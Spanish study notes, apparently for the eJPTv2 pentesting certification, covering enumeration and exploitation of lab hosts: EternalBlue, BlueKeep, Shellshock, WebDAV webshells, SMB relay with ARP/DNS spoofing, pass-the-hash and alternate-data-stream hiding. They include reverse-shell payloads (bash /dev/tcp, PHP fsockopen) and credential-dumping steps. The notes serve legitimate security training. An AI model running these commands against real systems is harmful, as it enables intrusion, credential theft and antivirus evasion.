Enumera metodos de autenticacion: hash NTLM (Negotiate protocol), creds (basic)… |
| winrm_script_exec |
Ejecutar comandos o abrir una shell meterpreter
set FORCE_VBS true
set CMD <COMANDO> –> ejecutar comandos |
eJPTv2
3. Enum Servicios
Indice De Servicios
[[1. MSF Enum Generico]]
-
FTP
- [[3. Enum Servicios/7. SMTP (25 - 465 o 586)/1. Interaccion|1. Interaccion]]
- [[3. Enum Servicios/2. FTP (21)/2. MSF Enum|2. MSF Enum]]
-
SMB
- [[3. Enum Servicios/3. SMB (445)/1. Interaccion |1. Interaccion]]
- [[2. Nmap Scripts NSE]]
- [[3. MSF Enum]]
- [[4. Smbclient, smbmap y rpcclient]]
-
WebServer
- [[3. Enum Servicios/4. WebServer (80-443)/1. MSF Enum|1. MSF Enum]]
-
MySQL
- [[3. Enum Servicios/5. MySQL (3306)/1. Interactuar]]
- [[3. Enum Servicios/5. MySQL (3306)/2. MSF Enum|2. MSF Enum]]
-
SSH
- [[1. Interactuae]]
- [[3. Enum Servicios/6. SSH (22)/2. MSF Enum|2. MSF Enum]]
-
SMTP
- [[3. Enum Servicios/7. SMTP (25 - 465 o 586)/1. Interaccion|1. Interaccion]]
- [[2. SMTP]]
-
RDP
- [[3. Enum Servicios/8. RDP (3389)/1. Interaccion|1. Interaccion]]
- [[3. Enum Servicios/8. RDP (3389)/2. MSF Enum|2. MSF Enum]]
-
WinRM
- [[3. Enum Servicios/9. WinRM (5985)/1. Interactuar|1. Interactuar]]
- [[3. Enum Servicios/9. WinRM (5985)/2. MSF Enum|2. MSF Enum]]
eJPTv2
4. Vulnerabilidades / 1. Buscar Vulns
1. MSF Y Searchsploit
MSF Buscar vulns
Busca exploit para vulnerabilidades con MSF
| Comandos |
search type:exploit name:“NOMBRE_MODULO”
O
search protocolo VERSION |
| use MODULO |
| info |
| show options |
| set OPTIONS |
| run |
Searchsploit
| Comandos |
Explicacion |
| searchsploit <PROTOCOLO VERSION> |
Buscar exploits |
| searchsploit <PROTOCOLO VERSION> | grep -e “Metasploit” |
Buscar exploits con modulos en MSF |
| searsploit -m NUM_ARCHIVO |
Lo copiamos en la ruta actual |
| nano NUM_ARCHIVO |
Editamos el exploit |
Mas ejemplos de uso searchsploit
| searchsploit -t vsftpd o Buffer Overflow… |
Saldran los exploits que tenga vsftpd como titulo |
| searchsploit -e “Windows XP” | grep -e “Microsoft” |
Exact match |
| searchsploit remote windows smb -w | grep -e “EternalBlue” |
En vez de paths nos da los enlaces a exploit-db.com |
eJPTv2
4. Vulnerabilidades / 1. Buscar Vulns
2. Exploit Db Y Google
Es el searchsploit web –> https://exploit-db.com
![[Pasted image 20260318164205.png]]
eJPTv2
4. Vulnerabilidades / 2. Windows / 1. Iis Webdav Wmap
1. Webdav
Es importante tener en cuenta las extensiones soportadas por el webserver para ejecutar codigo remoto ([[7. gobuster]]):
WebDAV: extension del protocolo HTTP que permite a los usuarios editar y gestionar archivos remotos en un webserver. Da la funcion de fileserver a un webserver
Requiere de creds ([[1. Fuerza Bruta - Hydra y MSF login]])
Herramientas
davset
- *davtest: usado para escanear, autenticar y explotar WebDAV
| davtest |
Es como el help, nos da una lista de opciones |
| davtest -url http://IP/webdav\ -auth USER:PASSWORD\ |
RESULTADOS: - Nos dice que files pueden ser cargados, descargados, ejecutados… - Se crea una cadena aleatoria para esta sesion que se adjunta junto a los archivos que se envian como prueba, esto lo hace para saber si webdav permite subir archivos y cuales se pueden ejecutar - Verifica las extensiones que nos deja para ejecutar y nos lo marca en SUCCEED. En este caso: .txt, .html y .asp (este ultimo es el importante porque es al que se le puede meter codigo para que se ejecute) - Nos da un resumen |
cadaver
- cadaver: soporta subida, descarga de archivos por pantalla. Tambien edicion, operaciones copy/move, vreaciones de colecciones, borrado, manipulacion y bloquedo de recursos
| cadaver –help |
|
| cadaver http://IP/webdav\ |
Entramos al webdav con las credenciales |
| ls |
|
| put /usr/share/webshell/asp/webshell.asp |
|
| Volvemos al navegador en /webdav/ |
Si refrescamos veremos el webshell.asp y si entramos dentro tendremos nuestro webshell disponible para ejecutar comandos |
Ejemplo vulnerando un WebDav con MSF
![[Pasted image 20260317174526.png]]![[Pasted image 20260317174534.png]]![[Pasted image 20260317174547.png]]![[Pasted image 20260317174603.png]]
eJPTv2
4. Vulnerabilidades / 2. Windows / 1. Iis Webdav Wmap
2. Wmap Para Escaneo WEB
Escaneo de vulnerabilidades web que puede ser usado para autoamtizar la enumeracion y app vulnerability
Disponible en MSF como plugin y puede ser cargado directamente en MSF. Integrada en MSF nos permite realizar escaneos
Comandos
| Comando |
Explicacion |
| service postgresql start |
|
| msfconsole |
|
| workspace -a wmap |
|
| setg RHOST/S IP |
|
| load wmap |
|
| wmap_ |
Si le damos tab nos saldran todas las opciones de comandos wmap |
| wmap_sites -h |
|
| wmap_sites -a IP |
Añade un sitio web a la base de datos WMAP |
| wmap_targets -h |
|
| wmap_targets -t http://IP |
Define esa URL como objetivo |
| wmap_sites -l |
Lista los sitios web añadidos |
| wmap_targets -l |
Lista los objetivos añadidos |
| wmap_run -t |
Muestra y ejecuta todos los modulos auxiliares utiles para enumerar el website |
| wmap_run -e |
Corre los modulos |
| wmap_vulns -h |
|
| wmap_vulns -l |
Lista las vulnerabilidades encontradas por WMAP |
eJPTv2
4. Vulnerabilidades / 2. Windows / 1. Iis Webdav Wmap
3. Httpfileserver 2.3.x Rejetto
Rejetto tiene modulo MSF
![[Pasted image 20260317201011.png]]
eJPTv2
4. Vulnerabilidades / 2. Windows / 2. SMB
1. Explotando MS17 010 SMB Vuln (eternalblue)
Afecta a: Windows Vista / 7 / 2008 / 8.1 / 2012 / 10 / 2016
Explotacion manual con AutoBlue
https://github.com/3ndG4ms/AutoBlue-MS17-010
| Comando |
Explicacion |
| sudo nmap -sV -O -p445 IP |
|
| sudo nmap -sV –script=smb-vuln-ms17-010 -p445 IP |
Nos dice si la version SMB es vulnerable |
| git clone URL |
|
| pip install -r requirements.txt |
|
| cd shellcode |
|
| chmod +x ./shell_prep.sh |
|
| ./shell_prep.sh |
Es un script en el cual podemos configurar dinamicamente el shell que queremos enviar al ejecutar AutoBlue |
Y LHOST IP LPORT N 1 (shell de comandos normal) 1 (payload sin estado) |
Se crean dos archivos .bin, uno para x64 y otro para x86 |
| nc -nlvp N |
En otra terminal abrimos un listener |
| cd /AutoBlue |
Exactamente a la version de nuestro target, en nuestro caso la 2008 |
| chmod +x eternalblue_exploit.py |
|
| python eternalblue_exploit.py shellcode/sc_x64.bin |
Ejecutamos el script python con el shell que creamos previamente |
| Volvemos al listener y tendremos nuestra shell |
|
Explotacion automatica con MSF
| Comando |
Explicacion |
| msfconsole |
|
| search eternalblue |
|
| use /auxiliary/scanner/ |
Para ver si es vulnerable el objetivo |
| set OPTIONS |
|
| run |
|
| use /exploit/…/eternalblue |
|
| set OPTIONS |
|
| run |
Nos da una shell meterpreter |
eJPTv2
4. Vulnerabilidades / 2. Windows / 2. SMB
2. Login Psexec
La autenticacion es via SMB
Se necesita –> user + PASSWORD/HASH
Manual
imapcket-psexec <USER>@<TARGET> cmd.exe
MSF
| Comandos |
Explicacion |
| msfconsole -q |
|
| search windows/smb/psexec |
|
| set OPTIONS |
|
| run |
Obtenemos Meterpreter |
eJPTv2
4. Vulnerabilidades / 2. Windows / 3. RDP
1. Explotando Windows Cve 2019 0708 RDP (bluekeep)
Sistemas vulnerables: Windows XP / Vista / 7 / 2008 & R2
Comandos LAB
| Comando |
Explicacion |
| sudo nmap -sS -Pn -p3389 -T4 IP |
|
| msfconsole |
|
| use /auxiliary/scanner/…bluekeep |
|
| set OPTIONS |
|
| run |
|
| use /exploit/…/bluekeep |
|
| set OPTIONS |
|
| show target |
Hay que elegir el del hipervisor que estemos usando porque sino dara error |
| set target N |
|
| run |
|
eJPTv2
4. Vulnerabilidades / 2. Windows / 3. RDP
2. Explotando RDP
Se necesitan credenciales validas para conectarse via rdp y obtener una GUI
| Comandos |
Explicacion |
| msfconsole -q |
|
| search rdp_scanner |
Verifica que RDP esta activo en el objetivo |
| use |
|
| set OPTIONS |
|
| run |
|
|
|
|
|
| [[1. Fuerza Bruta - Hydra y MSF login|hydra]] -L /wordlist -P /wordlist rdp://<OBJETIVO> -s <PUERTO> |
Fuerza bruta par conseguir creds |
|
|
|
|
| xfreerdp /u:<USER> /p:<PASS> /v:<IP_OBJETIVO> |
|
![[Pasted image 20260317192325.png]]
eJPTv2
4. Vulnerabilidades / 2. Windows / 4. Winrm
1. Explotando Winrm
| Comandos |
Explicacion |
| [[2. Crackmapexec|crackmapexec]] winrm <OBJETIVO> -u <USER> -p <PASS> |
Comprobar que las creds funcionan |
| [[2. Crackmapexec|crackmapexec]] winrm <OBJETIVO> -u <USER> -p <PASS> -e <COMANDO> |
Ejecutar comando remoto |
| [[2. Crackmapexec|crackmapexec]] winrm <OBJETIVO> -u /wordlist -p /wordlist |
Fuerza bruta |
|
|
|
|
| evil-winrm -u <USER> -p <PASS | Hash NTML> -i <OBJETIVO> |
Loggeaerse |
| winrm_script_exec |
Ejecutar comandos o abrir una shell meterpreter
set FORCE_VBS true –> crear shell
set CMD <COMANDO> –> ejecutar comandos |
|
|
| msfconsole |
|
| search winr_cmd |
Loggearse desde MSF |
eJPTv2
4. Vulnerabilidades / 2. Windows / 5. Alternate Data Streams
1. Alternate Data Streams
Es un NTFS (New Technology File System) diseñado para compatibilidad con MacOS. Todo archivo creado en formato NTFS tendra 2 diferentes forks/streams:
- Data Stream: default stram que contiene los datos del archivo
- Resouce Stream: contiene la metadata
Se puede usar para esconder codigo malicioso o ejecutables en archivos legitimos para evadir la deteccion
Esto se puede hacer guardando el codigo malicioso en el Resource Stream (metadata) de un archivo legitimo
Se suele usar para evadir firmas basicas de AVs y escaneos estaticos de prueba
Ejemplo
![[Pasted image 20260317203441.png]]
Lo guardamos. Miramos los metadatos (Resource Stream)
![[Pasted image 20260317203451.png]]
Borramos el .txt y ahora lo creamos de la siguiente forma:
![[Pasted image 20260317203459.png]]
El editor realmente esta abriendo hide.txt y solo se muestra que se ha creado test.txt
Guardamos y cerramos. Ahora abrimos test.txt que estara vacio
![[Pasted image 20260317203515.png]]
Normalmente en el archivo legitimo se le coloca contenido legitimo. Ejemplo, si es un archivo de logs, meteriamos logs:
![[Pasted image 20260317203523.png]]
Guardamos y cerramos
![[Pasted image 20260317203637.png]]
Como vemos no esta hide.txt. Para verlo:
![[Pasted image 20260317203531.png]]
Podriamos meter detras de un archivo .pdf o .exe un WinPEAS por ejemplo
Si fuera un .exe lo que hubieramos metido, se iniciaria asi:
![[Pasted image 20260317203539.png]]
En nuestro caso es un .txt por eso salta el error
SI NOS DA ERROR AL EJECUTAR EL .EXE
Abrimos cmd con privs y creamos un link entre un ejecutable y el nuestro
![[Pasted image 20260317203554.png]]
Si despues ejecutamos el ejecutable se ejecutara nuestro archivo escondido:
![[Pasted image 20260317203600.png]]
eJPTv2
4. Vulnerabilidades / 3. Linux / 1. Webapp Con Cgis (apache)
1. Exploiting Bash Cve 2014 6271 (shellshock Apache 2.4.6)
Apache webserver esta configurado para correr scripts CGI o .sh scripts
Comandos LAB
| Comando |
Explicacion |
| nmap -Pn -sS -sV -T4 IP |
Vemos que tiene un http por el puerto 80 |
| Miramos la web en el navegador |
|
| Vemos que tiene lo que parece ser un trozo de texto dinamico, con otra fuente respecto al resto de la interfaz… Parece un CGI script |
|
| Ctl U |
Para ver el codigo fuente y vemos un apartado <script> y dentro un GET “archivo.cgi” que lo envia cada 1s |
| En el navegador: IP/archivo.cgi |
Vemos que nos sale lo mismo que salia en la interfaz principal |
| nmap -Pn -sS -sV -T4 –script=http-shellshock –script-args “http-shellshoc.uri=gettime.cgi” |
Nos dice que es VULNERABLE |
Explotacion manual con Burp Suite
| Comando |
Explicacion |
| Abrimos burp suite con intercept on |
|
| Recargamos IP/gettime.cgi |
Esto hara que nos salga en el Burp lo que estamos enviando al servidor como clientes |
| Lo mandamos al Repeater |
Para hacer mas consultas sin tener que estar recargando la pagina o yendo para atras en el navegador |
| User-Agent: Borramos su valor |
|
| nc -nlvp LPORT |
|
| () { :; }; echo; echo; /bin/bash -c ‘COMANDO’ |
COMANDO: /bin/bash -i >& /dev/tcp/192.101.85.2/1234 0>&1 |
| Lo enviamos en Burp |
Obtendremos una reverse shell en el listener |
Explotaciona automatica con MSF
| Comando |
Explicacion |
| service postgrestql start |
|
| search shellsock |
Tiene un modulo auxiliar y un modulo exploit |
| use auxiliar |
|
| set OPTIONS |
|
| run |
Es vulnerable |
| use exploit |
|
| set OPTIONS |
RHOST RPORT TARGETURI /gettime.cgi |
| run |
Obtenemos un sesion Meterpreter |
eJPTv2
4. Vulnerabilidades / 4. Vulns De Red
1. Netbios Y SMB
NetBIOS
Es una API y un conjunto de protocolos de red que proveen comunicacion de servicios sobre una red local. Es usado prinicipalmente para permitir que las aplicaciones de diferentes maquinas encutren e interactuen entre ellas en la red
Funciones:
- Name Service (NetBIOS-NS): permite a las maquinas registrarse, desregistrarse y resolver nombres en una red local
- Datagram Service (NetBIOS-DGM): aporta comunicacion inalambrica y broadcasting
- Session Service (NetBIOS-SSN): proporciona comunicacion orientada a conexion para transferencias mas confiables
SMB
Protocolo de comparticion de archivos que permite a las maquinas de una red compartir archivos, impresoras y otros recursos
Versiones:
- SMB 1.0: la version original que tiene vulnerabilidades. Usado por sistemas que usaban Windows XP
- SMB 2.0/2.1: introducido con Windows Vista/Windows Server 2008 ofreciendo una mejora de rendimiento y seguridad
- SMB 3.0: introducido con Windows 8/Windows Server 2012 que anade caracteristicas de encriptacion, multichannel support y mejoras para la virtualizacion
Comandos
| nmap -Pn -sS -sV -T4 demo.ine.local |
Vemos un 139 NetBIOS (Session Service) y un 445 SMB |
| nbtscan |
Es un scan de redes para NetBIOS. Sin opciones nos dara un help |
| nbtscan IP_red/mascara |
Nos podria decir los nombres NetBIOS de la red (No funciona en este caso) |
| nmblookup -A IP |
Realiza un escaneo NetBIOS a esa IP |
| nmap -sU -p137 demo.ine.local |
Nos da open|filtered: no sabemos exactamente su estado |
| nmap -Pn -n -sU -sV -T4 –script=nbstat.nse -p137 demo.ine.local |
No nos da nada como el nombre de este sistema |
Vamos a proceder con el SMB enumeration
| Comandos |
Explicacion |
| nmap -Pn -sV -T4 -p139,445 demo.ine.local |
No nos dice nada exacto pero nos da que es un Windows Server. El siguiente paso sera ver que version SMB soporta |
| nmap -p445 –script smb-protocols demo.ine.local |
Vemos que tenemos un SMBv1 que es dangerous y luego nos salen otras versiones como 2.0.2, 2.1, 3.0 y 3.0.2 |
| nmap -p445 —scritp smb-security-mode demo.ine.local |
Ahora hemos querido mirar el nivel de seguridad de SMB
Podemos ver nmap uso al usuario guest para descubrir que: Nada interesante |
| smbclient -L demo.ine.local |
-L significa cuenta anonima, cuando nos pida pass solo le damos a enter Enumera los recursos compartidos si esta permitido, en este caso lo esta En la salida podemos ver que se esta usando SMBv1 |
|
|
| Ya que tenemos acceso anonimo podemos realizar un userenum para smb |
|
| nmap -p445 –script smb-enum-users demo.ine.local |
Encontramos a: -admin -Administrator -Guest -root
Veremos sus RID y una flag que nos dice si es una cuenta normal, administrativa o para guests |
|
|
Ahora podemos hacer fuerza bruta sobre estos usuarios Nos creamos un archivo con los nombres de estos usuarios |
|
| hydra -L users.txt -P /usr/share/metasploit-framework/data/wordlist/unix_passwords.txt smb demo.ine.local |
Encontramos varias creds Nos interesa la de adminsitrator |
| imapcket-psexec [email protected] |
Nos pedira la contrasena y tendremos acceso |
|
|
| Podemos usar tambien el module de MSF Psexec |
|
| msfconsole -q |
|
| search psexec |
|
| use /exploit/windows/smb/psexec |
|
| set rhosts demo.ine.local |
|
| set smbuser adminsitrator |
|
| set smbpass password |
|
| set payload windows/x64/meterpreter/reverse_tcp |
|
| run |
|
| net view IP_demo1 |
Con esto veremos los shares de demo1.ine.local. Es un comando de Windows |
net use D: \\IP_demo1\Documents net use K: \\IP_demo1\K$ |
Esto lo hacemos para poder navegar por ellos |
dir D: dir K: |
|
eJPTv2
4. Vulnerabilidades / 4. Vulns De Red
2. Snmp
Simple Network Management Protocol es un protocolo para monitorizacion y gestion de dispositivos de red como routers, switches, servers, impresoras…
SNMP es un protocolo de capa de aplicacion que tipicamente usa UDP para el transporte. Tiene 3 principales componentes:
- SNMP Manager: sistema responsable de consultar e interactuar con agentes SNMP en dispositivos de red
- SNMP Agent: sw que corre en un dispositivo de red que responde a consultas SNMP
- Management Information Base (MIB): una bbdd jerarquica que define la estructura de los datos disponibles de SNMP. Cada pieza tiene su OID u Object Identifier unico
Versiones SNMP:
- SNMPv1: la primera version que usa strings (esencialmente passwords) para la autenticacion
- SNMPv2c: una mejora de la primera que tiene soporte a transferencia voluminosas pero se sigue confiando en cadenas comunitarias o community strings para autenticacion
- SNMPv3: Introduce caracteristicas de seguridad incluida la encriptacion, integridad de mensajes y autenticacion basada en usuario
Puerto –> 161/UDP (para queries) y 162/UDP (para SNMP notifications)
SNMP Enumeration
La enumeracion SNMP involucra que el querying SNMP este habilitado en los dispositivos para recopilar informacion para identificar posibles vulns, malas configuraciones o puntos de ataque
Objetivos principales de la enumeracion SNMP:
- Identificar SNMP-Enabled Device: determinar los dispositivos de la red que tienen SNMP habilitado y si son vulnerables a ataques de exfiltracion de informacion
- Extraer informacion del sistema: recoger informacion relacionada con el sistema como nombre de los dispositivos, SOs, versiones sw, interfaces de red y mas
- Identificar SNMP Community Strings o cadenas comunitarias: testear las default y weak community strings que nos pueden dar autorizacion a informacion del dispositivo
- Recuperar informacion de la red: recopilar informacion sobre tablas routing, interfaces de red, IPs y mas detalles especificos de la red
- Recoger informacion de usuarios y grupos: a veces SNMP nos puede devolver informacion sobre las cuentas y permisos de acceso
- Identificar servicios y aplicaciones: Encontrar que servicios y aplicaciones estan corriendo en los objetivos para aumentar los vectores de ataques
Comandos
| Comandos |
Explicacion |
| nmap -sU -sV -p161 demo.ine.local |
Esta abierto y version 1 |
|
|
Podemos realizar un brute force para identificar community Strings
Para encontrar el wordlist que usaremos:
ls -la /usr/share/nmap/nselib/data/ | grep -e “snmp” |
snmpcommunities.lst |
| nmap -sU -p161 –script snmp-brute deno.ine.local |
Vemos que hemos encontrado 3 community strings: public, private y secret |
|
|
| Ahora podemos usar una nueva herramienta que nos dara mas informacion ahora que sabemos las community strings |
|
| snmpwalk -v 1 -c public demo.ine.local |
Nos saldra muchisima informacion y la mayoria no sera ni legible |
| nmap -sU -p161 –script snmp-* demo.ine.local > snmp_info |
Usamos todos los scripts de nmap para ver si encontramos algo legible |
| cat snmp_info |
Vemos que tenemos toda la informacion de antes pero ahora en un formato legible
Info que obtenemos: - Sw instalado - Network info - Community String por brute force - Servicios que corren en el sistema Windows - Interfaces de red - Users accounts |
|
|
| Vamos a usar estos usuarios para autenticarnos |
|
| hydra -l administrator -P /usr/share/metasploit-framework/data/wordlist/unix_passwords.txt demo.ine.local smb |
|
|
|
| Ahora nos podriamos autenticarnos un psexec |
|
eJPTv2
4. Vulnerabilidades / 4. Vulns De Red
3. SMB Relay
Un ataque SMB Relay es un ataque de red donde el atacante intercepta el trafico SMB, lo manipula y retransmite la informacion a un servidor legitimo para ganar acceso no autorizado a recursos o realizar acciones maliciosas
Como funciona
-
Interceptacion: el atacante realiza un man in the middle entre el cliente y el servidor. Puede ser hecho por muchas tecnicas como ARP Spoofing, DNS poisoning o creando un SMB server falso
-
Capturar la autenticacion: cuando un cliente se conecta a un servidor legitimo, SMB envia una data de autenticacion. El atacante la captura esta puede incluir hasta el hash NTLM
-
Retransmitir la informacion al servidor legitimo: en vez de desencriptar el hash NTLM el atacante envia la informacion al otro servidor que confia el origen. Esto permite al atacante impersonar el usuario del que capturo el hash
-
Ganar acceso: si el envio de informacion es correcto, el atacante gana acceso al recurso en el servidor que puede incluir archivos sensibles, bases de datos o privilegios administrativos. Este acceso puede llevar a un lateral movement dentro de la red comprometiendo otros sistemas
Comandos
Escenario
![[Pasted image 20260227203158.png]]
| Comando |
Explicacion |
| ifconfig |
|
| msfconsole -q |
|
| search smb_relay |
|
| use smb_relay |
|
| set srvhost NUESTRA_IP |
|
| set LHOST NUESTRA_IP |
|
| set smbhost IP_SMBSERVER_DADA |
|
|
|
| Abrimos una nueva terminal antes de iniciar el modulo para hacer un spoofing en la red |
|
| echo “NUESTRA_IP *.sportsfoo.com” > dns |
Con esto diremos que nuestra IP se resuelva como cualquier dominio o subdominio *.sporsfoo |
|
|
| Ahora haremos el DNS spoof |
|
| dnsspoof -i eth1 -f dns |
|
|
|
Ahora podemos establecer el MITM attack usando ARP spoofing y nuesto objetivo es envenenar entre el CLIENT y el default gateway
Esto nos permite manipular el trafico usando DNS spoof |
|
|
|
| Abrimos una nueva terminal |
|
| echo 1 > /proc/sys/net/ipv4/ip_forward |
Habilitamos el ip forwarding |
| En este misma terminal haremos el ARP spoof |
|
| arpspoof -i eth1 -t IP_CLIENT IP_GATEWAY |
|
|
|
| Abrimos una nueva terminal para hacer el ARP spoof attack a la inversa |
|
| arpspoof -i eth1 -t IP_GATEWAY IP_CLIENT |
Nos salen conexiones ya que cada vez que el CLIENT realice una conexion SMB, el DNS spoof alineado con el ARP spoof olvida la respues DNS diciendo al sistema que el DNS address que esta buscando se resuelve con la IP de la Kali |
|
|
| Volvemos al MSF y ahora si lo corremos |
|
| run |
Se ejecuta en segundo plano |
| jobs |
Veremos la tarea |
|
|
| Ahora vamos a la terminal del DNS spoof |
|
| Podemos ver como el CLIENT intenta resolver fileserver.sportsfoo.com por ejemplo y nos lo manda a nostros |
|
|
|
| sessions |
Tendremos una sesion Meterpreter |
Que esta pasando exactamente:
Cada vez que una conexion SMB todas vienen a nosotros porque realizamos un DNS spoofing y nosotros redirigimos la solicitud. Asi que cada vez que haya un conexion el SMB Relay module de MSF grabara el NTLM hash y lo usara automaticamente abrir una sesion Meterpreter en la IP .10 que es la del DC o domain controller
El ARP Spoofing sirve para lo siguiente:
Porque el DNS spoofing por sí solo no siempre es suficiente. En una red real:
-
La víctima ya tiene un gateway configurado
-
Ya tiene un DNS configurado
-
El tráfico va directo al router
Tú necesitas colocarte en medio del tráfico. Ahí entra ARP spoofing.
ARP spoofing permite:
Convertirte en Man-In-The-Middle (MITM)
Le dices a la víctima:
|> “Oye, el gateway soy yo”
Y le dices al gateway:
|> “Oye, la víctima soy yo”
Resultado:
Todo el tráfico pasa por tu máquina.
eJPTv2
4. Vulnerabilidades / 5. Pth
1. Pth
Con modulo MSF
Haremos un PTH al servicio SMB que requiere credenciales
Tendremos que tener descargado kiwi
| Comando |
Explicacion |
| service postgresql start |
|
| msfconsole |
|
| search badblue |
|
| use /…/badblue-passthru |
|
| set OPTIONS |
|
| run |
Obtendremos sesion Meterpreter |
| pgrep lsass |
Busca procesos cuyo nombre coincida con lsass y devuelve sus PID. lsass es el Local Security Authority Subsystem Service en Windows: - Gestiona autenticación de usuarios. - Mantiene credenciales en memoria. - Es el proceso que se intenta dumpear en post-explotación |
| migrate PID |
|
| load kiwi |
|
| lsa_dump_sam |
Obtendremos los NTLM de los usuario |
| hashdump |
Nos devuelve user::hash_LM::hashNTLM |
| bg |
|
| search psexec |
|
| use /exploit/windows/smb/psexec |
|
| set OPTIONS |
SMBUser “USUARIO” SMBPass “NL:NTLM” |
| show target |
Tendremos que elegir uno e ir probando porque pueden fallar |
| set target “NOMBRE” |
|
| run |
|
Con crackmapexec
| Comando |
Explicacion |
| crackmapexec protocolo(smb) IP -u USER -H “NTLM” |
Interactua con el protocolo destino y nos dice si las credenciales son validas |
| crackmapexec protocolo(smb) IP -u USER -H “NTLM” -x “COMANDO(whoami)” |
Interactua con el protocolo, se loggea y realiza el comando |
eJPTv2
4. Vulnerabilidades
Inidice Comandos
-
Buscar Vulns
- [[1. MSF y Searchsploit|Msf y Searchsploit para buscar vulns]]
- [[2. Exploit DB y Google|ExploitDB y Google]]
-
Windows
-
IIS-WebDAV-Wmap : cadaver y davtest
- [[1. WebDAV|WebDAV]]
- [[2. Wmap para Escaneo Web|Wmap]]
- [[3. HTTPFileServer 2.3.x - Rejetto|Rejetto HFS 2.3.x]]
-
SMB
- [[1. Explotando MS17-010 SMB Vuln (EternalBlue)|Eternablue]]
- [[2. Login PsExec|PsExec]]
-
RDP
- [[1. Explotando Windows CVE-2019-0708 RDP (BlueKeep)|Bluekeep]]
- [[2. Explotando RDP|Explotando RDP
-
WinRM
- [[1. Explotando WinRM |Explotando WinRM]]
-
Alternate Data Streams
- [[1. Alternate Data Streams|Alternate Data Streams]]
-
Linux
- Apache/CGI
- [[1. Exploiting Bash CVE-2014-6271 (Shellshock Apache 2.4.6)|Shellshock cgi]]
-
Network Attacks
- [[1. NetBIOS y SMB]]
- [[2. SNMP]]
- [[3. SMB Relay]]
-
PTH
- [[1. PTH|PTH]]
eJPTv2
5. Explotacion / 1. Windows / 1. Vulns Conocidas
1. HTTP File Server 2.3.x Rejetto
Visto en: [[3. HTTPFileServer 2.3.x - Rejetto]]
eJPTv2
5. Explotacion / 1. Windows / 1. Vulns Conocidas
2. SMB MS17 010 (eternalblue) O MS08 067 (para Windows Xp 2000)
Visto en: [[2. SMB MS17-010 (EternalBlue) o MS08-067 (Para Windows XP-2000)]]
eJPTv2
5. Explotacion / 1. Windows / 1. Vulns Conocidas
3. Apache Tomcat Webserver 8.5.19
Es un open source Java servlet (clase de java que se ejecuta como webserver)
Se usa para contruir y hostear websites dinamicos y aplicaciones web basadas en java sw. Suelen estar desarrolladas con PHP
Modulo MSF
search type:exploit tomcat_jsp
tomcat_jsp_upload_bypass
Ejemplo
![[Pasted image 20260318152015.png]]![[Pasted image 20260318152023.png]]
![[Pasted image 20260318152035.png]]![[Pasted image 20260318152043.png]]![[Pasted image 20260318152051.png]]
eJPTv2
5. Explotacion / 1. Windows / 1. Vulns Conocidas
4. RDP (bluekeep)
Visto en: [[1. Explotando Windows CVE-2019-0708 RDP (BlueKeep)]]
eJPTv2
5. Explotacion / 1. Windows / 1. Vulns Conocidas
5. HTTP 2.7 (badblue)
Modulo MSF
badblue_passthru
Tener en cuentra el TARGET
Ejemplo
![[Pasted image 20260318160140.png]]
eJPTv2
5. Explotacion / 2. Linux / 1. Vulns Conocidas
1. Webapp Cgis (apache 2.4.6) Shellshock
Visto en: [[1. Exploiting Bash CVE-2014-6271 (Shellshock Apache 2.4.6)]]
eJPTv2
5. Explotacion / 2. Linux / 1. Vulns Conocidas
2. FTP Vsftpd 2.3.4
Modulo MSF
vsftp_234_backdoor
Ejemplo
![[Pasted image 20260318152542.png]]
eJPTv2
5. Explotacion / 2. Linux / 1. Vulns Conocidas
3. Samba 3.X 4.X (is Known Pipename)
Modulo MSF
is_known_pipename
Ejemplo
![[Pasted image 20260318152657.png]]![[Pasted image 20260318152711.png]]
eJPTv2
5. Explotacion / 2. Linux / 1. Vulns Conocidas
4. SSH 0.6.0 0.8.0
libssh es una libreria multiplataforma implementada en SSHv2 en el lado del cliente y servidor
libssh V0.6.0-0.8.0 es vulnerable a bypass de autenticacion que puede ser explotable para ejecutar comandos en un servidor objetivo
Modulo MSF
libssh_Auth_bypass
Comandos
| search libssh_Auth_bypass |
| use |
| show options |
| set spawn_pty true |
| run |
| sessions |
eJPTv2
5. Explotacion / 2. Linux / 1. Vulns Conocidas
5. Proftpd 1.3.3
Comandos
| msfconsole -q |
|
| search ProFTPD 1.3.3 |
|
| use exploit |
|
| set rhosts IP |
|
| run |
|
| /bin/bash -i |
Tenemos acceso como root |
Ejemplo
![[Pasted image 20260318161941.png]]
eJPTv2
5. Explotacion / 2. Linux / 1. Vulns Conocidas
5. Snmp 2.8.8 Haraka
Modulo MSF
search type:exploit name:haraka
Comandos
| search type:exploit name:haraka |
|
| use |
|
| show options |
|
| set srvport 9898 |
Lo cambiamos porque el payload usa el 8080 |
| set email_to [email protected] |
Debe ser aceptado por el servidor
[[3. Enum Servicios/7. SMTP (25 - 465 o 586)/1. Interaccion|Interactuar con servidor]] |
| set payload linux/x64/meterpreter_reverse_tcp |
|
| set lhost eht1 |
|
| run |
|
eJPTv2
5. Explotacion / 2. Linux / 1. Vulns Conocidas
6. Php 5.2.4
| Comandos |
Explicacion |
| nmap -Pn -sS -sCV -p80 -T4 IP |
Vemos que tiene levantado un DAV |
| Vamos al navegador y abrimos http:://IP |
|
| A veces el config se encuentra en: /phpinfo.php |
Vemos que la version es 5.2.4 Soporta CGI /etc/php5/cgi/php.ini –> ruta de cgi conf |
| searchsploit php cgi |
Encontramos un exploit de argument injection para las versiones 5.3.12 |
| searchsploit -m 18836 |
|
| nano 18836.py |
|
|
|
| Cosas a cambiar |
pwd_code (<?php $sock=fsockopen(“IP”,1234);exec(“/bin/sh -i <&4 >&4 2>&4”);?>) |
| nc -nvlp 1234 |
|
| python2 18836.py IP 80 |
|
|
|
| Obtenemos la reverse shell |
|
| /bin/bash -i |
|
Ejemplo
![[Pasted image 20260318170000.png]]![[Pasted image 20260318170012.png]]![[Pasted image 20260318170018.png]]
eJPTv2
5. Explotacion / 2. Linux / 1. Vulns Conocidas
7. Samba 3.0.20
Puede que tambien sea vulnerables a [[3. Samba 3.X - 4.X (is_known_pipename)]]
| nmap -Pn -sS -sVC -p445 -T4 IP |
Nos dice una version entre 3.X y 4.X |
| nc -nv IP 445 |
No tenemos un banner |
| msfconsole -q |
|
| search smb_version |
|
| use |
|
| show options |
|
| set rhosts IP |
|
| run |
Samb 3.0.20 |
| searchsploit samba 3.0.20 |
Vemos un exploit especifico de nuestra version que tiene modulo MSF de Command Execution |
| search samba 3.0.20 |
|
| use |
|
| show options |
|
| set rhosts IP |
|
| run |
|
| /bin/bash -i |
|
| ctl Z |
|
| sessions |
|
| sessions -u N |
|
| sessions |
|
| sessions N |
